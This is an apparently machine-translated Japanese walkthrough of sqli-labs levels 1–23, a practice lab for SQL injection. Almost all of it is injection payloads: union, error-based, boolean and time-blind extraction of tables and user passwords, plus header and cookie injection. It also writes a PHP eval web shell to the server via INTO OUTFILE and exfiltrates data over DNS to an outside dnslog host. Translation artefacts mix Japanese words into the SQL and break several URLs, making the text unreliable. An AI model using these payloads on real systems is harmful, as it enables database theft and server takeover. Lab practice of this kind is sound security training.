記事ディレクトリ
序文
Sqli-labs-master シューティング レンジは、SQL インジェクションの学習に非常に適しており、SQL インジェクションの基本的な方法を習得するのに役立ちます。
最初のラウンド
文字挿入の一重引用符クロージャー
http://10.40.1.22/sqli-labs-master/Less-1/?id=1’ --+
判断字段数
http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://10.40.1.22/sqli-labs-master/Less-1/?id=1' order by 4 --+
エコービットを決定する
http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
データベース名を展開する
http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,2,database() --+
通称
http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆字段名
http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
爆発的なデータ
http://10.40.1.22/sqli-labs-master/Less-1/?id=-1' union select 1,concat_ws('~',id,username,password),3 from security.users limit 0,1 --+
上記は SQL インジェクションの一般的なプロセスです
セカンドレベル
デジタル インジェクション
http://10.40.1.22/sqli-labs-master/Less-2/?id=1 --+
次の手順は上記と同じです
3番目のレベル
一重引用符括弧の閉鎖
http://10.40.1.22/sqli-labs-master/Less-3/?id=1') --+
レベル4
二重引用符は閉じられています
http://10.40.1.22/sqli-labs-master/Less-4/?id=1") --+
レベル5
一重引用符は閉じられていますが、ページにエコーはありません。
エラー挿入
http://10.40.1.22/sqli-labs-master/Less-5/?id=1' および extractvalue(1,concat('~') を試してください。 ,database())) --+
database() に SQL ステートメントを書き込みます
http://10.40.1.22/sqli-labs-master/Less-5/?id=1' および extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()制限 0,1))) --+
レベル6
5 番目のレベルと同じですが、
二重引用符で閉じているだけです
http://10.40.1.22/sqli-labs-master/Less-6/?id=1" --+
レベル7
outfileload_file() を使用して
ファイルを読み取るように要求する
前提条件: 1. ユーザー権限が十分に高いため、root 権限を持つようにします。
2.ファイルを書き込むための outfile() へのsecure_file_priv が NULL ではない
')) を使用して
http://10.40.1.22/sqli-labs-master/Less-7/?id=-1')) Union select 1,'<?php @eval($_POST[123]); を閉じます。 ? >',3 into outfile 'D://phpStudy//PHPTutorial//WWW//2.php' --+
トロイの木馬の文を書き込みます。アップロードされたAnt Sword の接続が成功した
ことをサーバー上で確認できます。
レベル8
ブール ブラインド インジェクション
ページ エコーが正常かどうかに基づいて情報を推測する
一般的な手順
1. 長さを推測する 2. 文字を推測する
よく使用される関数 length() ascii() substring()
データベース名
http://10.40.1.22/sqli -labs-master/Less- 8/?id=1' および length(database())=8 --+
http://10.40.1.22/sqli-labs-master/Less-8/?id=1' およびsubstring(database(),1 ,1)='s' --+
最初のテーブルの最初の文字: http://10.40.1.22/sqli-labs-master/Less-8/?id=1' および ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
最初のテーブルの 2 番目の文字: http://10.40.1.22/sqli- labs-master /Less-8/?id=1' および ascii(substr((select table_name from information_schema.tables where table_schema=database() 制限 0,1),2,1))>109–+
ブラインド インジェクションには、げっぷや dns_log ブラインド インジェクションなどと組み合わせて使用するなど、他にも高速なソリューションがあります。
レベル9
タイム ブラインド インジェクション
ページは常にインターフェイスを維持しており、応答時間を調べることで識別できます。
一般的に使用される関数 if() sleep() は
ブール ブラインド インジェクション
http://10.40.1.22/sqli-labs-masterに似ています。 /Less-8/?id=1' および if(length(database())=8,sleep(0),sleep(5)) --+
http://10.40.1.22/sqli-labs-master/Less -8/?id=1' and if (substring(database(),1,1)='s',sleep(0),sleep(5)) --+
レベル10
ダブルクォートで閉じられ、残りはレベル9と同じです。
タイムブラインドインジェクションはどのように閉じ方を決定しますか? sleep() 関数を使用した
次のステートメントは、終了メソッドが正しい場合は 5 秒待機することを示します。エラーが発生した場合は、すぐに
http://10.40.1.22/sqli-labs-master/Less-10/?を実行します。 id=1' および sleep(5) -- +
結果はすぐに実行されます
http://10.40.1.22/sqli-labs-master/Less-10/?id=1" および sleep(5) --+
結果5秒遅れます
レベル11
11 レベルの開始時にポスト インジェクションを実行します。Firefox プラグイン ハックバーをインストールするか、burp suit パケット キャプチャ ツールを使用することをお勧めします。
uname=admin' order by 3 --+&passwd=admin&submit=
uname で SQL を注入します。手順は最初のレベルと同じです。
レベル12
レベル 11 と似ていますが、「) Closeing
uname=admin」) を使用して 3 ずつ並べます --+&passwd=admin&submit=Submit
レベル13
このレベルではエコーはありませんが、エラーが報告されます。エラー報告関数を使用し、
') を使用して
uname=admin') と extractvalue(1,concat('~',(database())) を閉じることができます。 ) --+&passwd=admin&submit= 送信
レベル14
二重引用符を使用して閉じます。残りはレベル 13 uname=admin" および extractvalue(1,concat('~',(database()))) --+&passwd=admin&submit=Submit と同じです。
レベル15
一重引用符を使用してパラメーターを処理しますが、エラーは報告されません。遅延挿入または ASCII を使用できます。これは、第 8 レベルと第 9 レベルに似ています。
ここでは、dnslog ブラインド インジェクションの概要を示します。
主な用途は、ファイルを読み取るためのドメイン名解決です。load_file() 関数
uname=admin' およびload_file( concat("\\ ",(database()),".evbxl5.dnslog.cn\1.txt")) --+&passwd=admin&submit=送信
レベル16
post メソッド、") クローズ メソッド、メソッドはレベル 15 uname=adminと同じです") およびload_file(concat("\\",(database()),".evbxl5.dnslog.cn\1.txt" を使用します。) ) --+&passwd=admin&submit=送信
レベル17
プロンプトに従ってパスワードにエラーを挿入します。
一重引用符
で閉じます uname=admin&passwd=admin' および updatexml(1,concat('~',(database())),3)–+&submit=Submit
レベル18
ユーザーエージェントの注入
updatexml()とextractvalue()都は
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0'およびupdatexml(1,concat(0x7e, (selectdatabase())),1) および '1' ='1
ユーザー エージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0' および extractvalue(1,concat) ('~',(データベースを選択()))),'','') #
レベル19
リファラー注入
ステートメントは以前と同じで、
updatexml(1,concat(0x7e,(selectdatabase())),1) および '1'= '1
レベル20
Cookie インジェクション:
最初のパケット キャプチャでは Cookie をキャプチャできません。Cookie を直接送信して再度パケットをキャプチャすると、Cookie を取得できます。
Cookie: uname=-admin' Union select 1,database(),3 #
レベル21
Cookie を取得するには前のレベルと同じで、2 回目の取得が必要です。
このレベルでは、uname Base64 が暗号化されています。
問題を解決するアイデアは、通常のクエリ ステートメントを Base64 暗号化して送信することです。これを使用して、
終了メソッドを ') (図省略)
-admin') Union select 1,2,database() #として決定できます。
レベル22
終了メソッドが「
-admin 」union select 1,2,database() # であることを除いて、前のレベルと同じです。
レベル23
フィルター アノテーションの注入を取得
http://10.40.1.22/sqli-labs-master/Less-23/?id=-1' Union select 1,database(),3 and '1'='1
要約する
以上が Sqli-labs-master 範囲 1 ~ 23 の注入方法です。皆様のお役に立てれば幸いです。間違いがあればご批判、修正をお願いします。